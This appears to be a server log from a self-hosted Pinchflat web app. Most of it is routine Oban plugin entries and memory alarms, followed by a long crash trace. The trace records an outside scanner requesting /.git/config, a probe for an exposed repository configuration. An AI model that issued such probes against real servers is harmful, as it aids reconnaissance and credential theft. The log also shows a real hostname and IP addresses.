{"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:57.442 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.987 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:27.444 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:57.447 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.988 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:27.450 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:57.452 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.990 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:27.454 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:57.456 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.991 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:27.458 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:57.460 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.993 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:27.464 [info] {"source":"oban","duration":3125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:57.466 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.994 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:27.470 [info] {"source":"oban","duration":2976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:57.472 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.995 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:22.500 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 08:44:27.474 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:57.482 [info] {"source":"oban","duration":7036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.998 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:27.484 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:57.488 [info] {"source":"oban","duration":3205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:01.002 [info] {"source":"oban","duration":2382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:27.490 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:57.492 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.004 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:27.494 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:57.497 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.005 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:27.499 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:57.501 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.007 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:27.506 [info] {"source":"oban","duration":3985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:57.508 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.008 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:27.511 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:57.516 [info] {"source":"oban","duration":3667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.009 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:27.517 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:57.519 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.010 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:27.521 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:57.523 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.011 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:27.525 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:57.527 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.012 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:27.529 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:57.531 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.013 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:27.536 [info] {"source":"oban","duration":3767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:57.539 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.015 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:27.540 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:57.542 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.017 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:27.544 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:57.547 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.020 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:27.549 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:57.551 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.022 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:27.553 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:57.555 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.025 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:22.581 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 09:00:27.564 [info] {"source":"oban","duration":7212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:57.566 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.029 [info] {"source":"oban","duration":2631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:27.569 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:57.573 [info] {"source":"oban","duration":2772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.031 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:27.575 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:57.577 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.037 [info] {"source":"oban","duration":5215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:27.579 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:57.582 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.039 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:27.587 [info] {"source":"oban","duration":3855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:57.589 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.042 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:27.591 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:57.593 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.049 [info] {"source":"oban","duration":6635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:27.596 [info] {"source":"oban","duration":1951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:57.598 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.051 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:27.600 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:57.602 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.056 [info] {"source":"oban","duration":3741,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:27.606 [info] {"source":"oban","duration":2608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:57.607 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.062 [info] {"source":"oban","duration":4596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:22.619 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 09:09:27.609 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:57.611 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.067 [info] {"source":"oban","duration":4534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:27.613 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:57.615 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.076 [info] {"source":"oban","duration":6811,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:27.617 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:57.619 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.086 [info] {"source":"oban","duration":7974,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:27.621 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:57.623 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.089 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:27.625 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:57.627 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.091 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:22.647 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 09:14:27.636 [info] {"source":"oban","duration":7724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:57.638 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.096 [info] {"source":"oban","duration":3475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:27.640 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:57.642 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.101 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:22.658 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 09:16:27.645 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:57.647 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.102 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:27.649 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:57.652 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.104 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:27.656 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:57.658 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.105 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:27.660 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:57.662 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.118 [info] {"source":"oban","duration":10953,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:27.666 [info] {"source":"oban","duration":2939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:57.668 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.123 [info] {"source":"oban","duration":3969,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:27.671 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:57.673 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.228 [info] {"source":"oban","duration":55683,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:27.687 [info] {"source":"oban","duration":11770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:57.689 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.230 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:27.693 [info] {"source":"oban","duration":2717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:57.695 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.241 [info] {"source":"oban","duration":7079,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:27.697 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:57.703 [info] {"source":"oban","duration":5031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.247 [info] {"source":"oban","duration":2780,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:27.705 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:57.707 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.257 [info] {"source":"oban","duration":6978,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:27.712 [info] {"source":"oban","duration":4160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:57.716 [info] {"source":"oban","duration":3544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.263 [info] {"source":"oban","duration":3259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:27.719 [info] {"source":"oban","duration":1935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:57.721 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.265 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:27.723 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:57.728 [info] {"source":"oban","duration":4433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.267 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:22.723 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 09:29:27.730 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:57.733 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.270 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:22.727 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 09:30:27.736 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:57.745 [info] {"source":"oban","duration":7713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.280 [info] {"source":"oban","duration":8261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:27.748 [info] {"source":"oban","duration":2329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:57.751 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.283 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:27.757 [info] {"source":"oban","duration":4193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:57.764 [info] {"source":"oban","duration":4235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.289 [info] {"source":"oban","duration":4610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:08.046 [info] GET /.git/config 09:33:08.088 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=770.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:33:08.093 [debug] QUERY OK source="settings" db=2.3ms queue=0.1ms idle=778.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:33:08.100 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 09:33:08.104 [error] #PID<0.7791.0> running PinchflatWeb.Endpoint (connection #PID<0.7790.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 17529}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)", "via" => "1.1 Caddy", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.7791.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "195.178.110.223"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH94bOT6CyIPChgAAGbj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 17529}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)", "via" => "1.1 Caddy", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 17529}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)", "via" => "1.1 Caddy", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.7791.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "195.178.110.223"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, pri (truncated) 09:33:27.766 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:57.768 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.291 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:27.770 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 